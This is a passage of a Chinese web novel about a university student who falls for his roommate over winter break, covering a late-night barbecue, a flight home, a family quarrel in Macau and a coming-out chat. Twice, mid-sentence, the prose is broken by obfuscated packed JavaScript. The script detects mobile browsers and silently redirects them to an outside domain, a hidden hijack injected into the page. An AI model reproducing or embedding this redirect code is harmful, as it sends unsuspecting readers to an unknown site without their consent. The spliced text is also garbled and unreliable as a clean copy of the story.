杨嘉树拿过桌上的手套,往门口走:“那我走行了吧。” “你去哪里?都快十点了,等下别被关外面了。” “我去买个东西,马上回来。” 其实杨嘉树只是觉得胸闷,透不过气,想出来吹吹冷风罢了。 腊月份,是北京最冷的时候,每次早八杨嘉树都很想死,拼命给自己做心理建设,去教室就好了、去教室就好了……然后在到达教室之前成功被冻成冰棍。现在是晚上十点,寒冷比起早八点不遑多让,杨嘉树戴着帽子、裹着围巾走在下午刚堆起的积雪上,皮靴子踩得雪地嘎吱嘎吱响,他漫无目的地走,学生们都在宿舍躲避寒冷,只有他,迎着雪往黑洞洞的教学楼走。 他也不知道自己想去哪里,就这么没有方向地走,等回过神,他已经站在图书馆的门口了。 这个时间,图书馆早就关门了。 “……”杨嘉树仰头看着图书馆紧闭的大门,无声地叹了口气。他踏上台阶,往里走,拐向左侧的廊道里,然后摘掉手套,掏出手机。 他给顾琢成发微信。磨磨蹭蹭地编辑好消息,按下发送的时候,他心里一阵紧张……他会不会嫌我烦? 对话停留下下午三点钟,顾琢成说要去图书馆,杨嘉树很不理解:“都考完试了还去图书馆干嘛?” 顾琢成说:“跟同学约好了。”然后就匆匆走了。也没说去干什么,没说跟谁去。“同学”,哪个同学啊。杨嘉树很想问,又觉得是不是管太宽,因此就没回了。 但是现在……图书馆都关门了,他不回寝室,干嘛去了?现在这个社会很复杂的,即使是人高马大、看起来很能打的男人出门在外也是有危险的……身为室友,最起码得关心一下吧。 杨嘉树捧着手机,思前想后,犹豫着把消息发出去: “你干嘛去了?怎么还没回寝室?” 顾琢成没有立即回复,杨嘉树把手机塞回口袋,一只手紧紧攥着,这样手机震动的时候他就能第一时间察觉—— “嗡”地一声,杨嘉树的手腕都被震得发麻,他掏出手机,顾琢成回复道:“在外面吃饭。怎么了?” 杨嘉树的心难以抑制地变得喜悦,很奇妙的,他竟然有种不敢立即回复顾琢成的感觉,生怕他的一举一动把这个人惊扰了、像鸟一样飞走了。他小心翼翼地,用状似开玩笑的语气说:“为什么不跟我说,背着我偷偷出去潇洒。委屈/。” “哈哈/。我同学聚会啊,不方便带你来。” “我也没说要你带我。”杨嘉树的脸都快被冻僵了,心却像要飞起来一样轻快,“去吃什么好吃的了。” “烧烤。你要吗?给你带点。” “来得及吗?” “来得及。” “那好吧。”杨嘉树得寸进尺,说,“我能点菜吗?” “批准。” “我要吃蒜蓉鸡翅、烤茄子、烤花菜、五花肉……”杨嘉树一条一条地发,想到什么就说什么,直到顾琢成说:“这么多你吃得完吗?” 杨嘉树这才停下点菜的手,扁扁嘴,说:“我明天就回广东了,一整个寒假不见,不得好好宰你一顿啊。” 顾琢成很惊讶:“这么早?之前不是还说要多待几天吗。” 杨嘉树说:“太冷了,我受不了,回去避寒。”打到“冷”字的时候,他的身体彷佛有所感应,在寒风中狠狠打了一个哆嗦。 顾琢成:“我去给你打包,等着我。” 杨嘉树的鼻尖冻得通红,从鼻孔里淌出两条透明的鼻涕出来。他傻站在原地,盯着两人的对话框,忍不住从头到脚开始感到羞涩。 杨嘉树是个在感情方面特别迟钝的人。 从小到大,对他表达爱慕的女生不在少数,甚至从杨嘉树上幼儿园开始,就有可爱的小女孩说要嫁给他、做他的新娘。可杨嘉树没有一个喜欢的。他觉得她们庸俗,喜欢他只是喜欢他的外表,而不是他的内涵——哦,有一个明确表示过喜欢他的文采。 这个女生杨嘉树印象还蛮深刻的,她是体育生——丢铅球的,夏天穿短袖的时候会露出粗壮的肱二头肌。她的嗓音也粗,性格也粗——粗枝大叶的粗。 杨嘉树挺喜欢跟这一类人交往,他们直接、爽快,想到什么就说什么,不像杨嘉树——心思细腻,情绪敏感,用现在的话说,叫内耗。杨嘉树喜欢跟简单的人相处,因为他自己也会变得简单,有一段时间他跟这个女生很亲密,甚至去她家吃饭、玩耍,杨嘉树从来没有往其他方面想过,直到有一天女生问他:“嘉树,那个,你知道第四爱吗?” 杨嘉树不懂,好奇地问:“我不知道,那是什么?” 女生的表情一下子变得很尴尬,满脸通红,整个人都局促起来:“额,你也不知道啊。我、我昨天在杂志上看到,觉得很奇怪,就想问问你知不知道那是什么——没关系啦,我改天去查查资料好了。对了,你要吃冰淇淋吗,今天有点热……” 从那以后,女生就变得怪怪的,老是用欲言又止的表情看着他。杨嘉树不明所以,还以为她怎么了,但女生表示没事,只是考试压力太大,然后就投入到紧张的练习中去了。没多久女生转学,杨嘉树偶然间在上网的时候了解到四爱群体,一瞬间顿悟——她不会喜欢我吧! 杨嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495749|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树当时就给女生发微信,问她:“张思琪,你是不是喜欢我啊?” 女生回了个尴尬的表情过来:“你才知道吗?” “!为什么不跟我说。” “我说了,你会答应我跟我在一起吗?” 杨嘉树想都没想,说:“不会。我不喜欢你。” 张思琪:“心碎/。” 杨嘉树呵呵一笑,觉得很好奇,他还是第一次接触到性少数群体,“你是不是想当我的老攻啊?” 张思琪:“尴尬/。你是怎么做到这么迟钝又这么直接的。” 杨嘉树挠挠头,说:“还好吧。” 张思琪:“你不喜欢我,所以才这么直接。” 杨嘉树反应过来,觉得挺不好意思的:“抱歉啊,其实你挺好的,作为朋友我很喜欢,作为恋人的话就太奇怪了。” “那你喜欢什么样的女生?” 这个问题把杨嘉树难住了,到目前为止,他有过好感的女生好像都是动漫人物,现实中——还真是一个都没有。他想了好久,告诉张思琪:“我喜欢漂亮的,开朗的,自信的,相处起来很轻松的女生吧。” 张思琪说:“你的意思是,我不漂亮、不开朗、不自信,相处起来让你有负担?” 杨嘉树连忙说:“我不是这个意思。”但是该如何解释?其实张思琪跟自己描述的也差不多,她长得很英气,是一种飒爽的漂亮,一身肌肉让她看起来充满健康、自信美。但是——为什么我不喜欢她呢?杨嘉树自己也觉得很奇怪。 随着时间的推移,这个当时让杨嘉树百思不得其解的问题现在终于得到了解答—— 原来,我对女孩子不感兴趣,只是单纯的欣赏,我其实——喜欢男孩子啊。 这个认知让杨嘉树产生强烈的冲击感。他仍然记得当时在香山上突然明白自己对顾琢成的感情时,那种心被狠狠穿透的感觉。他趴在顾琢成的背上,身体冷,心脏却在被带着爱火的箭矢灼烧。一瞬间,他冲动地想把自己的感情宣之于口,但很快,一个冰冷的现实将他满胸腔的火倏地一下浇灭—— 顾琢成是个直男。 在一般的直男眼中,同性恋几乎等同于变态——杨嘉树不想成为顾琢成心中的变态。即使顾琢成是个有礼貌、敢于接受新事物的直男,也不代表他会对另一个男人产生爱情,顶多就是理解、尊重,然后远离而已。 想到这儿,杨嘉树顿时被一阵恐慌淹没,他不由得收紧手臂,像抓住空茫世界中唯一一个确切存在似的、紧紧搂住了顾琢成的脖子。顾琢成的身上很冷,是他穿越风雪来寻找自己的证明。杨嘉树不知该如何形容自己此刻的心情,用百感交集可能更加合适—— 快到山顶的时候,杨嘉树趴在顾琢成的肩膀上,像是真情流露一样,说:“顾琢成,你对我真好。我们要一辈子做好朋友。” ——这句话泄露了他内心真正的恐惧,他怕失去顾琢成,所以像是发誓一样、郑重其事地公布了自己的友情宣言。 而顾琢成回复:“这种事可说不准。” “为什么?” 杨嘉树明显是问了一个多余的问题,就像顾琢成回答的那样:“世事多变啊,也许明天我们就分开了,说不准的。” ——迎着刺骨寒冷的风雪,杨嘉树快步从图书馆赶回宿舍。 15. 第 15 章 杨嘉树走得很慢,一开始只是冷,后来一点热从脚心扩散开来,渐渐蔓延至全身。走到楼梯中间时,有人叫他的名字:“杨嘉树!” 这声音很熟悉—— 杨嘉树回过头,顾琢成正双手抱胸从下一层楼梯跑上来,他腿长,步子迈得也大,一步跨两三级台阶,杨嘉树想叫他小心点,但眨眼间顾琢成已经近在咫尺。 一股寒气扑面而来,杨嘉树又惊又喜:“你回来了?” “你干什么去了?” ——两人几乎同时开口,相视一笑后,顾琢成说:“是啊。我一路跑回来的,快吃,还是热的。”他从自己的羽绒服里掏出一只塑料袋,袋子里有一只一次性餐盒,他打开,递给杨嘉树。 里面是冒着热气的烤串,签子都被撸掉了,香气扑鼻,令人食指大动。杨嘉树接过餐盒,犹豫着说:“回宿舍再吃吧,赵靖和何永平都在,大家一起吃。” 顾琢成看看餐盒,又看看他,说:“你确定?你点的有些没了,只剩下这五串,你们仨可能不够分。” 杨嘉树果断说:“那还是我独吞吧。” 顾琢成领着他躲到楼梯角落,掰开一次性筷子递给他:“快吃。” 杨嘉树夹起一块花菜塞进嘴里,嚼了几下,发现顾琢成一直在盯着他看。他内心慌乱,表面却故作镇定:“怎么了?我脸上有东西?”还是发型乱了?衣服没穿好?难道是吃相太难看?糟糕,他不会觉得我粗俗吧。 杨嘉树心里惴惴,顾琢成却只是问:“好吃吗?” 杨嘉树愣了一下,点头:“好吃。” 顾琢成笑了笑,“那你快吃,马上要凉了。”他就这么给杨嘉树当起了人形餐桌,杨嘉树心中又是感动又是甜蜜,串都比平时美味百倍。他一边吃,一边红着脸想,那些平时在食堂外面碰到的小情侣们也是这样,男生举着餐盒喂女生吃东西,女生踮起脚作娇羞状—— 轰地一声,杨嘉树的大脑里响起一道闷雷,我不会也是这样吧?娇羞?这词跟我——堂堂七尺男儿杨嘉树搭得上边吗? 杨嘉树咬着一根蒜薹,愣在原地,整个人都不好了。 顾琢成奇怪地看着他:“你怎么了?吃不下了?” 杨嘉树直着眼睛,说:“是的,吃不下了。”他想叫顾琢成把餐盒丢掉,毁灭证据,免得被赵靖他们发现。但是顾琢成怕浪费,居然直接夺过他手里的筷子,三下五除二把剩下的串给吃完了! 杨嘉树目瞪口呆,脸涨成猪肝色,站在原地傻愣愣地看着顾琢成。 虽然我们是好兄弟,可是——随便吃人口水这件事,是不是太冒昧了啊啊啊! 顾琢成下楼去丢垃圾,回来时杨嘉树脸还红着,顾琢成没在意,只当是烤串辣椒放多了。确实是有点辣,他这个东北人可以作证。 回到寝室,刚好和串门回来的赵靖迎面撞上,赵靖看着他俩,大着嗓门说:“你俩偷偷亲嘴了?怎么嘴巴这么红!” “!”杨嘉树像被雷劈了一样,杵在门口,“你、你瞎说什么啊!”他的脸光速变红,跟供台上的关公像没什么两样。 赵靖“嘶”了一声,觉得杨嘉树的反应不太寻常:“真亲了啊?” 杨嘉树做贼心虚,根本不敢去看顾琢成的反应,只觉得此刻的赵靖特别欠教训。他想了想,干脆一不做二不休,□□着走上前,把赵靖往墙角逼,“是啊,真亲了,是我强吻的他!你也想来试试吗?本大爷这就来满足你。” 赵靖吓得花容失色:“靠,变态啊!你们俩搞基不要扯上我,啊啊,救命啊,强X啊!” 杨嘉树个子比赵靖高了那么一点点,说实话看着赵靖的脸有点反胃。赵靖最近上火,脸上冒了几颗痘痘,特别大的脓包,面容整洁度、皮肤光滑度跟顾琢成比都差远了,杨嘉树强忍住呕吐的冲动,放开赵靖,说:“算了,本大爷今晚没兴致,改天再宠幸你吧。” 赵靖玩角色扮演有点上瘾了,自己把羽绒服的拉链拉开,给杨嘉树抛了个媚眼:“别呀,人家刚刚只是欲擒故纵……” 顾琢成在旁边看着他俩,笑着说:“你们俩恶不恶心啊。” 本来只是一句无心之语,杨嘉树却听进去了,“恶心”,他觉得这种行为很恶心吗?是啊,直男,只会觉得“搞基”很恶心,很变态。 ——我很变态吗? 可是,我也刚知道自己是个基佬啊。我还没有了解过基佬这个群体,也不明白自己跟他们有什么相似之处……我对女生还有感觉吗?还是,只对顾琢成有那种冲动……杨嘉树抬起头,跟顾琢成的目光撞了个正着,他下意识扭过头,刚好看见自己的行李箱,于是他走过去,有点慌不择路,差点被椅子绊了一跤—— “小心。”顾琢成略带担忧的声音响起来。 “……没事了。”杨嘉树说,蹲下来检查自己的行李。其实已经检查过好几遍了,但是他的心不踏实,所以行为也没法踏实下来。 “明天几点的飞机?”顾琢成跟了过来,坐在杨嘉树的凳子上。 “五点。”杨嘉树说。 “这么早?”顾琢成扬起眉毛,诧异地说,“你起得来吗?” 杨嘉树说:“起不来也得起啊,我多订几个闹钟。” “那明天我叫你,我也订个闹钟。” “……”杨嘉树笑了笑,低头回避着顾琢成的目光,“谢谢啊,不麻烦你了,我自己可以的。” ——这句话收回。因为杨嘉树定了五个闹钟都没响,最后是顾琢成爬上他的床把他拍醒的。这时已经三点了,杨嘉树连洗漱都省了,拖起行李箱就直奔学校南门,约好的司机给他打了好几个电话,强调这时候取消用车是很不道德的——顾琢成帮杨嘉树接的电话,好声好气地跟司机解释,说我们马上就到。 顾琢成成功把杨嘉树送到上车点,他身上还穿着睡衣,只在外面穿了一件长款羽绒服,冻得鼻尖通红。杨嘉树心里过意不去,催促顾琢成赶紧回去。 顾琢成说:“好。到了跟我说一声。” 车开了。 杨嘉树打开车窗,脑袋探出去看顾琢成的背影。 他心里五味杂陈,不断重复一个问题:你为什么对我这么好? 哪怕你高傲一点,有何永平十分之一那样鄙视我,我也不会喜欢上你。 凌晨三点,这座城市还在沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495750|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡,顾琢成的身影早就看不见了。杨嘉树把车窗关上,用手机搜索之前在宿舍不好意思搜索的问题:喜欢上自己的好兄弟该怎么办? 他点进一个经验分享贴,从第一条留言开始看起: “奉劝楼主,不要招惹直男,不会有好下场的。” “我之前也喜欢上一个直男朋友,一冲动表白了,现在三年过去了,还是一句话都没有说过。” “忍着。你会遇到更好的,还不介意你的性向。” “不要啊楼主,直男是不会变弯的,会弯的直男也是渣男,随时都会直回去。” “楼上+1。” “我能说说自己的经历吗?我上大学的时候也喜欢上同宿舍的哥们儿,每天同吃同住,一起去上课,出去玩,一开始感觉他就是个纯直男,对我没有那种心思。可是后来可能是我没忍住,老是有意无意地撩他,他就开始有了那种想法,我们之间变得有点暧昧,什么走路的时候手牵手,到没人的小树林里搂搂抱抱,有时候还会开玩笑你亲我一下我亲你一下……但是他从来没有把这种关系挑明过,我也不敢说,只是偶尔会用开玩笑的语气说,‘我们这样好像一对情侣啊。’他就笑笑,说没有啊,我们是好朋友。这种感觉挺痛苦的,知道双方互相都有好感,可是却不能更近一步。后来大三的时候他交了女朋友,一切就都结束了。现在有时候看他发的朋友圈,家庭幸福生活美满,还挺感慨的,庆幸他没有走上跟我一样的道路。” 杨嘉树停在这条回答上,眼睛止不住地发酸。他点开这个答主的主页,犹豫片刻,给他发了一条私信:“冒昧地问一下,你现在怎么样了?有新的男朋友了吗。” 后面的回答也是无一例外,全都以悲剧收场。可能这就是爱上直男的下场吧。杨嘉树咬着下唇,有点不甘心,他在帖子底下回复:“可是他是个很善良、很好的人,就算表白失败,也不至于连朋友都做不成吧?” 杨嘉树收起手机,打算眯一会儿,但这时手机响了,他打开,发现是有人回复了他刚刚的帖子: “你真天真,表白失败心里不会膈应吗?他膈应,你也膈应,最后的结果只能是渐行渐远。听我一句劝,要是想做朋友,就永远不要表白,默默陪在他身边。等以后时间久了,自然就累了,你会主动远离的,然后遇见更好的人。” 杨嘉树有点懂,又有点不懂。他回复这个人:“谢谢,我会好好考虑的。” 司机知道他要误机了,使出浑身解数一路飙车到了机场,杨嘉树赶在最后一分钟成功登机。飞机起飞前,顾琢成发微信问他:“赶上了吗?” 杨嘉树心口一阵搀了酸的甜:“赶上了。你还没睡?” 顾琢成:“那就好。我这就睡了,一路平安。” 飞机马上就要起飞了,杨嘉树没忍住,问顾琢成:“不管发生什么,我们都会是好朋友吗?” 顾琢成:“当然。为什么这么问。” 杨嘉树:“没什么。只是一个寒假不见,有点舍不得。怕你把我忘了。” 顾琢成:“笑哭/。不会的,放假一起LOL啊。” 杨嘉树:“关机了,再见。” 16. 第 16 章 过年前几天,杨嘉树一家去了澳门旅游。澳门很小,其实没什么好玩的,好玩的无非就是赌场、度假村、免税店……还有其他的吗?好像还真没了。杨嘉树一家分工明确,老杨辗转于几大赌场,章芝仪带着杨嘉苗在氹仔的免税店里买买买,杨嘉树……杨嘉树在酒店里发呆。 他心中苦闷,已经连续失眠好几天了。 自从那天从北京回来,他就再也没跟顾琢成联系过。顾琢成是在他走后两天回的东北的,赵靖说他本来想留在北京小姨家过年,是他爸打电话强制要求他回去的。 “我回不回去有什么区别?”赵靖给杨嘉树学顾琢成跟他爸说话的语气,带着浓浓的不耐烦,“反正你也不在家。小姨让我去,我跟彬彬一起睡……什么麻烦不麻烦,她是我亲小姨,怎么会嫌我麻烦?好了我知道了,我买明天最早的班机回家。”赵靖学完,八卦地说,“顾琢成跟他爸关系是不是不好啊?两个人剑拔弩张的,顾琢成打完电话去外面待了好久才回来。” 知道内情的杨嘉树当然不会乱说,“我也不是很清楚。”他打哈哈,跟赵靖说了会儿别的就把电话给挂了。 他想关心下顾琢成,又怕顾琢成这会儿心情不好。再说了……他还没想好怎么处理和顾琢成之间的关系呢。 新晋同性恋者杨嘉树在经过这段时间的验证后,确认他对女孩子完全没兴趣了。至于怎么验证的……也不是不能说,就是找了一些比较黄暴的漫画、小电影,先是男女、女女、然后是男男,只有后者才能让他立起来。而且他看的时候代入的全是顾琢成和自己……这让他还能怎么心平气和地面对顾琢成? 况且成为同性恋也不是什么小事,他以后怎么跟老杨还有章芝仪交待?怎么跟朋友交待?是出柜还是好好待在柜子里?以及……怎么跟顾琢成相处。 这些事愁得他是吃也吃不好,睡也睡不好,成天窝在酒店房间里发呆。章芝仪发现儿子状态不对,问老杨:“杨嘉树是不是失恋了啊?怎么天天躲在房间里种蘑菇。” 老杨这些天赢了不少,大手一挥,表示这都不是事,顺手给杨嘉树转了两万块钱,让他好好出去散散心。 章芝仪对杨嘉苗说:“陪陪你大哥去,喊他出来玩,不要总是一天到晚待在房间里。” 杨嘉苗得令,蹦蹦跳跳地敲开了杨嘉树的房门。 一开门把他吓了一跳,杨嘉树整个人萎靡不已,头发乱糟糟像搭了一半的鸟窝,眼眶乌青眼袋下垂,眼神还阴暗可怕像死了好几百年的男鬼。杨嘉苗顿时不敢造次,小心翼翼地坐在沙发上,看着杨嘉树的脸色,“哥……哥,要出去玩吗?我知道一家会所,里面的公主都可漂亮了……” 话还没说完,杨嘉树就狠狠瞪了他一眼:“什么会所?什么公主?你都从哪里知道这些的?” 杨嘉苗还不知大难临头,兴致勃勃地说:“我同学告诉我的啊,说澳门就那一家会所好玩,报他名字还能赠送一整套温泉大保健……啊!哥你打我干嘛?!靠,杨嘉树你是不是疯了?!”杨嘉苗十三岁,还没开始窜个子,三两下就被杨嘉树揍得大哭起来,一边哭一边骂,“哇,杨嘉树你个X$^%$……我%#¥……我要告我妈去!呜呜呜好痛……你凭什么打我!” 杨嘉树撸起袖子,对着杨嘉苗的屁股又是狠狠一巴掌:“你才十三岁,什么公主会所大保健!你说,你平时都跟同学在鬼混什么?你妈平时都不管你?老杨也不管你?”打到一半,杨嘉树发现杨嘉苗的裤腰带是某个奢牌经典款,小方扣牛皮金腰带,保守估计也要一万块。杨嘉树顿时觉得杨嘉苗不可理喻,“这是什么?你才几岁就开始学别人买奢侈品了?杨嘉苗你出息了啊!”他下手更狠。 杨嘉苗就跟砧板上的鱼似的,一边挨打一边在沙发上疯狂打挺,“这是我妈给我买的!她说我戴这个好看!呜呜杨嘉树快停下,你是不是嫉妒啊,因为我妈给我买不给你买!啊¥&&%呜呜呜我要跟你断绝关系,你再也不是我哥哥了呜哇哇哇……” 杨嘉树黑着脸,松开杨嘉苗:“谁嫉妒你?你妈完全把你惯坏了,你真的是越长越讨厌了,我也不想当你哥哥了,从现在开始我们断绝兄弟关系,赶紧滚吧!” 杨嘉苗挨了一顿打,本来就伤心不已,听见杨嘉树这么说,哭得更厉害了,“你以为我稀罕?你是我在这个世界上最讨厌的人!”杨嘉苗口是心非,其实他很喜欢杨嘉树,但总感觉杨嘉树不待见自己,动不动就让他滚、心情不好就揍他,谁家哥哥对弟弟这么凶啊?他擦了一把眼泪,愤怒渐渐被委屈代替,“亏我好心想带你出去玩,你就是这么报答我的。怪不得妈说你心理有问题,让我别跟你一般见识!你真的是有病……” 杨嘉树顿了顿,平静地说:“妈说我心理有问题?” “没错!”杨嘉苗提高声音,几乎是尖叫一样地说,“她说你小心眼!爱记仇!冷漠!无情!没有心!”其实杨嘉苗是添油加醋扭曲事实,故意这么说的,妈只是说杨嘉树心思细腻容易多想而已,叫他平时对哥哥温柔一点。但是……谁叫杨嘉树对他这么过分的,杨嘉苗抹了一把眼泪,哭哭啼啼地说,“你不配做我的哥哥,你以为我稀罕当你的弟弟……断绝关系就断绝关系,从此以后我杨嘉苗就是一个没有哥哥的人!” 杨嘉树拉开房门,冷漠地说:“滚。” 杨嘉苗愤怒地夺门而出。 杨嘉树气得把沙发上的抱枕都扔到地上,然后自己也坐在地上,发呆。 其实他知道杨嘉苗八成都是在瞎说,这家伙从小就嘴贱,把黑的说成白的。但是……杨嘉树还是不开心。他有时候觉得章芝仪在区别对待他和杨嘉苗,并不是没有依据。比如,章芝仪喜欢逛街,但是不喜欢一个人逛,老杨没空就薅杨嘉苗陪她去,从来不会叫杨嘉树。她会给杨嘉苗买各种东西,但是只会给杨嘉树转钱……并不是转钱就不好,但是有时候看见那些冰冷的数字真的挺没意思的……她还会和杨嘉苗打闹,把杨嘉苗搂在怀里骂他“臭小子”、“衰仔”,但是从来没有对杨嘉树这么做过。有时候杨嘉树不小心看见他们在玩闹,总会默默走开,当做没有看见,其实转身就会觉得委屈、羡慕,甚至嫉妒,觉得自己特别像是一个外人。他不想让自己看起来这么小心眼,但是——亲生的和非亲生的,果然还是有所区别。 杨嘉树心里烦闷,换了身衣服打算出去散心,没想到在酒店大堂看到杨嘉苗……还有章芝仪。杨嘉树犹豫了一下,打算过去找他们。 离近了一点,才发现杨嘉苗好像还在闹脾气,坐在大堂沙发上边哭边吃东西。杨嘉树有点鄙视杨嘉苗,都多大了还整天哭个没完,况且他刚刚打他也不是没有理由,年纪轻轻就在外面鬼混,还有理了?正好趁这个机会让章芝仪平时好好管教管教他…… 就在这时,章芝仪轻轻偏过头,杨嘉树看见她脸上满是心疼,抱着杨嘉苗的脑袋柔声细语地哄着他。杨嘉树的脚步一下子顿住,瞬间觉得自己没有过去的理由了。 就在他犹豫的时候,章芝仪往这边瞥了一眼,杨嘉树肯定她百分百看见自己了,只是那眼神不仅没有欣喜,反而充斥着不满、厌烦、还有冷漠…… 杨嘉树顿了顿,转身往相反的方向走。 章芝仪还以为自己眼睛花了,明明刚刚还看见大儿子了,怎么一眨眼就不见了?杨嘉苗还在哭,哭得她心里又是好笑又是好气,“你能不能别哭了?多大人了,哭能解决问题吗?” 杨嘉苗吸吸鼻子,眼泪汪汪地说:“妈你不知道刚刚杨嘉树是怎么揍我的,凭什么就因为他比我大,就可以肆无忌惮地打我了?我又没惹他,真是太过分了!” “别杨嘉树杨嘉树的叫,叫哥哥。哥哥不会没事打你,肯定是你干了什么坏事,说吧,都干了些什么?主动交代,别等着我去问哥哥。” 杨嘉苗心虚地转开眼睛,“我只是去叫他出去玩而已,他心情不好,就打我一顿出气……屁股好疼,妈我们去吃饭吧。” 章芝仪狐疑地看着他:“真的没干坏事?” “没有没有。”杨嘉苗站起来,推着她往大门的方向走,“快去吃饭吧,吃完我陪你去逛街!” “叫上哥哥一起。”章芝仪说,面露担忧,“老闷在房间里会闷坏的,叫他出来走走,晚上一起去逛街。” “不要。”杨嘉苗说,“哥哥说他不想被别人打扰,叫我们自己玩就好。” “……真的?”章芝仪说,有点不太信任杨嘉苗。 “真的。”杨嘉苗信誓旦旦地点头,“哎呀哥哥都这么大人了,有自己的心事很正常的,我们不要去打扰他了。” “好吧。”章芝仪说,也有点无可奈何,“那我们自己去吃吧,叫爸爸一起。” 杨嘉树在酒店窝了三天,总算是有点想开了,这其中很大的功劳都是张思琪的……就是那个想跟他玩第四爱的女生。杨嘉树跟家里人的关系一般,也没什么特别要好的朋友,能分享这种隐私话题的找来找去,好像就剩下一个张思琪了。 杨嘉树跟张思琪出柜,张思琪居然一点都不惊讶:“你终于发现了啊。” 杨嘉树很奇怪:“什么叫终于发现?” 张思琪说:“以前你就总跟班里长得帅的男生一起玩啊。他们逗你,你还在那里笑得花枝乱颤。女生去找你,你就爱答不理的。” 杨嘉树大喊冤枉:“我什么时候总跟男生一起玩了?我跟你关系不是挺好的吗。” 张思琪:“那是因为我在追你,死缠烂打……可惜媚眼抛给瞎子看。” 杨嘉树汗了一下:“这个不重要。重要的是我现在弯了,怎么办?” 张思琪说:“还能怎么办,不要出去乱玩就好。gay圈很乱的,你要洁身自好,不要被那些人传染了。” 杨嘉树:“这个我当然知道。”他好奇地问,“你是怎么知道自己有那方面倾向的?知道的时候不会觉得很奇怪、很慌张吗。” 张思琪:“额。你真的想知道吗?” 杨嘉树说:“想。” 张思琪:“就看到你的时候就有那种冲动啊……你真的很可爱,话说你喜欢的那个男生喜欢什么样类型的女孩子啊?要是跟你差不多类型的话,我觉得你可以试试跟他表白,没准就成功了。” 咦,杨嘉树发现了一个盲点:他跟顾琢成聊了 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杨嘉树这才发现自己把备注也截进去了,现在撤回也来不及了,只能让张思琪帮忙保下密。张思琪说:“OK。其实嘉树,我觉得你是个很敏感的人,在乎很多事情,只是表面上看起来云淡风轻。你这样的人注定会在感情里吃很多苦的……大胆一点,不要害怕失去,喜欢就表白,大不了不做朋友,你会遇到更优秀的人的。” 杨嘉树说:“谢谢,我考虑一下吧。” 放下手机,他躺在床上发呆。真的要表白吗?顾琢成会是什么反应?他那么温柔,就算拒绝也是很婉转的拒绝吧,“不好意思,我有喜欢的人了。”类似这样的。可是想到这个回答,杨嘉树就难受得恨不得从酒店窗户跳下去…… “叮咚”一声,手机响了。 杨嘉树摸过手机,原来是顾琢成,太久没得到回复,他戳了一下杨嘉树:“人呢?” 杨嘉树咧开嘴笑了一下,打字:“聊天去了。干嘛。” “你问我这个问题,自己还没回答呢。你喜欢什么样的女孩?” 我不喜欢女孩,我喜欢男孩。杨嘉树真想这么回答,可是不能,打字的手慢吞吞的,“我也喜欢漂亮的。短发,个子高一点,有很多共同爱好。” “你们班不是有很多漂亮的女孩?” 杨嘉树很意外,也有点酸:“你居然关注我们班的女孩漂不漂亮,你想干什么?” “你自己说的。” 杨嘉树想了想,好像还真是,“那你也别指望我会给你介绍。” “这么小气啊。” 杨嘉树的脸红了红,“不是小气,是不想我一个人做单身狗。” “好自私,你不希望我幸福吗?” 即使知道他是在开玩笑,杨嘉树还是慌了一下:“当然希望。哎呀,我就是开个玩笑嘛!” “我知道啊。我也是开玩笑的。” 有点尴尬。杨嘉树干脆转移话题:“你在干嘛?” “躺床上,睡觉。你呢?” “我也是。”杨嘉树分享了自己在澳门旅游的事,顾琢成说:“都二十七了,你们要在澳门过年吗?” “不是,明天就回去了。”提到日期,有件事杨嘉树耿耿于怀,“你这段时间在忙什么?怎么不给我发消息。” 顾琢成说:“我给你发了啊,你没回。” 杨嘉树把聊天记录往上翻,确实发了,约他打游戏。不过那时候杨嘉树还没整理好自己的心情,觉得跟顾琢成一起打游戏有负担,于是就没回。但是—— “我不回你就不找我了啊,塑料友情!”杨嘉树气鼓鼓地说。 顾琢成解释道:“我以为你回家跟好朋友玩去了,发小之类的,不好打扰你们。” “……”如此贴心。杨嘉树一时间哭笑不得,“我不是跟你说了吗,你是我最好的朋友。我没有发小那种东西。” “那你怎么不给我发消息?” “……”杨嘉树忽略了这个问题,问顾琢成,“你家下雪了吗?” “嗯。你想看吗?” “想。” 于是半分钟后,杨嘉树收到一个小视频,顾琢成的家楼层还挺高的,俯瞰万家灯火那种。窗外飘飞着一些大大小小的雪片,好像在刮风,隔着窗户都能听见呜呜的风声。视频播放到一半,顾琢成的声音响起来:“怎么样,大不大?明天起来雪起码到小腿肚,可以下去打雪仗了。” 杨嘉树控制不住地感到心动,捧着手机,嘴巴一直咧到耳朵后面去,“你跟谁打?” 顾琢成:“没人一起打,你过来,我就有伴了。” “开玩笑,马上过年了……我去你家过年吧要不?” “好啊。我给你做白菜炖豆腐吃。” 杨嘉树撅起嘴巴:“你就这么招待客人?连个肉都没有。” “你不懂,白菜炖豆腐比什么肉都好吃。”顾琢成说,像是良心发现了,又补充,“那就加半只鸡好了,你吃鸡,我吃白菜豆腐。” “我也要吃白菜豆腐。” “那你吃。我吃鸡。” …… 17. 第 17 章 杨嘉树和顾琢成恢复了好朋友的聊天频率,总结起来是这样的:起床第一件事就是跟对方道早安,顾琢成起得比较早,一般七点多就醒了。自从杨嘉树说想看看北方的冬天是什么样之后,顾琢成只要出门就会给杨嘉树拍照片、录小视频,就比如现在,他出门去买早餐,看见路边有个新鲜而丑陋的雪人,随手就拍了下来,传给杨嘉树。 杨嘉树十点多才回复消息,证明他睡到十点才醒:“好丑。你堆的?” 